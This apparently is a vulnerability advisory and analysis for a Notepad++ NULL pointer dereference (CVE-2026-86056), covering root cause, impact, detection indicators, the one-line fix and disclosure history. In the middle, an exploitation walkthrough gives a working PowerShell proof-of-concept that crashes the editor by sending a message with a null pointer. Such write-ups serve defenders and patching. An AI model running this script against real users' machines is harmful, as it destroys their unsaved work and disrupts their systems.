CVE-2026-86056: 
Notepad++ vulnerability analysis and mitigation

CVE-2026-86056 is a NULL pointer dereference vulnerability in Notepad++ affecting all versions prior to 8.9.8. The flaw resides in the NPPM_SAVESESSION message handler in PowerEditor/src/NppBigSwitch.cpp, which casts lParam to a sessionInfo* pointer and dereferences its members without validating for null. Any local process running at the same or higher Windows integrity level on the same desktop can send NPPM_SAVESESSION with a null lParam, immediately crashing Notepad++ and causing loss of unsaved documents. It carries a CVSS v3.1 base score of 5.5 (Medium) (GitHub Advisory).

The vulnerability is classified as CWE-476 (NULL Pointer Dereference) and exists in PowerEditor/src/NppBigSwitch.cpp at the NPPM_SAVESESSION case handler (message ID 2039, i.e., WM_USER + 1000 + 15). The handler unconditionally casts lParam to a sessionInfo* and immediately dereferences three struct members — sessionFilePathName (offset 0x00), nbFile (offset 0x08), and files (offset 0x10) — all of which resolve to unmapped memory near address zero when lParam is null, triggering an access violation (exception code 0xc000041d). Because NPPM_SAVESESSION is a public, documented plugin API message, no special knowledge of internal state is required to exploit it. The fix, committed in 8b33f52, adds a single null check (if (!lParam) return FALSE;) before the cast (GitHub Advisory, Fix Commit).

Successful exploitation causes immediate termination of the Notepad++ process, resulting in a high availability impact with no confidentiality or integrity consequences. All unsaved document data is permanently lost upon crash, and any automated workflows or scripts depending on a running Notepad++ instance are disrupted. The scope is limited to the local desktop session and does not enable lateral movement or data exfiltration (GitHub Advisory).

A proof-of-concept PowerShell script is publicly documented in the GitHub security advisory, requiring only a few lines of code using SendMessage via P/Invoke to trigger the crash. The EPSS score is 0.00162, indicating a low probability of widespread exploitation. There is no evidence of in-the-wild exploitation, no threat actor attribution, and the vulnerability is not listed in the CISA KEV catalog. Exploitation is not automatable at scale as it requires local access to the same Windows desktop session (GitHub Advisory).

1. Identify target: Confirm a vulnerable Notepad++ instance (version ≤ 8.9.7.0) is running on the target Windows desktop session.
2. Prepare PoC script: Save the following PowerShell script as poc_bug08.ps1:

Add-Type @'
using System;
using System.Runtime.InteropServices;
public class NppBug08 {
    [DllImport("user32.dll")]
    public static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
}
'@
$proc = Get-Process "notepad++" -ErrorAction Stop
$hwnd = [IntPtr]$proc.MainWindowHandle
# NPPM_SAVESESSION = WM_USER + 1000 + 15 = 2039
[NppBug08]::SendMessage($hwnd, [uint32]2039, [IntPtr]::Zero, [IntPtr]::Zero)

3. Execute: Run the script from a process at the same or higher Windows integrity level on the same desktop.
4. Result: Notepad++ immediately crashes with exception code 0xc000041d (STATUS_FATAL_USER_CALLBACK_EXCEPTION), causing denial of service and loss of all unsaved documents (GitHub Advisory).

• Process: Unexpected termination of the notepad++.exe process without user action; Windows Error Reporting (WER) crash dumps for notepad++.exe with exception code 0xc000041d (STATUS_FATAL_USER_CALLBACK_EXCEPTION).
• Logs: Windows Application Event Log entries recording a crash for notepad++.exe; WER entries in %LOCALAPPDATA%\Microsoft\Windows\WER\ReportQueue referencing notepad++.exe.
• Process Behavior: Presence of a PowerShell or other scripting process that invoked SendMessage targeting the Notepad++ window handle shortly before the crash, observable via process creation logs (e.g., Sysmon Event ID 1) or EDR telemetry.

Upgrade Notepad++ to version 8.9.8 or later, which includes the one-line null check fix in the NPPM_SAVESESSION handler (GitHub Release). No configuration-based workaround is available for the underlying vulnerability; the only effective mitigation is patching. Users who cannot immediately upgrade should save documents frequently and be aware that any local process on the same desktop can trigger a crash.

The vulnerability was reported by researcher shreesh1 and disclosed by Notepad++ maintainer donho via a GitHub Security Advisory on August 24, 2026. The fix was committed and released as part of Notepad++ 8.9.8 shortly after disclosure. No significant broader media coverage or notable community controversy has been observed beyond the standard GitHub advisory and release notes (GitHub Advisory, GitHub Release).